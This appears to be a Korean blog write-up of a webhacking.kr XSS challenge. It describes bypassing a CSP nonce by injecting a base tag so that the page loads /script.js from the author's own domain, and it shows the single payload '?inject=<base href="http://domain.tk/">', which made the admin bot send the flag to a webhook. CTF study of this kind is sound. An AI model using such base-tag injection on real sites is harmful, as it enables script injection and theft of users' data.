문제 화면입니다.
문제 화면의 소스 코드입니다.
리포트 페이지를 가지고 있습니다.
이전에 풀었던 child와 동일한 구성입니다.
XSS 문제임을 알고 도전해봅니다.
인라인 스크립트를 실행시켜보려 하자
오류가 뜹니다.
nonce 보호 기법이 적용되어 있습니다.
실행할 때 마다 랜덤값이 부여되므로 이를 뚫긴 어려워 보입니다.
검색을 통해 찾아보니
base 태그에 대한 방어가 갖추어지지 않아서 xss 공격이 가능하다고 합니다.
base태그의 href 속성을 통해 기본 경로를 바꿔줘서
문제에서 실행되는 /script.js 파일의 경로가 바뀔 수 있다는 겁니다.
base 태그를 활용해 경로를 바꾸는데 성공했습니다.
이 문제를 풀기 위해선
개인 웹 페이지를 하나 만들어서 script.js 파일을 올리고
base 태그의 href 속성을 본인의 페이지 주소로 바꿔주면 됩니다.
(개인 페이지 구축은 아래 글을 참조)
script.js에는 아래 내용이 들어갑니다.
이제 리포트 페이지에 아래와 같이 입력해줍니다.
?inject=<base href="http://domain.tk/">
봇이 페이지를 읽어 웹훅으로 플래그를 성공적으로 받아냈습니다.
이 값을 제출하면
문제가 풀립니다!
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] Challenge old-30 write-up (0) | 2022.10.17 |
---|---|
[Webhacking.kr] Challenge old-28 write-up (0) | 2022.10.12 |
[Webhacking.kr] Challenge old-53 write-up (1) | 2022.09.24 |
[Webhacking.kr] Challenge old-35 write-up (0) | 2022.09.22 |
[Webhacking.kr] Challenge old-25 write-up (0) | 2022.09.19 |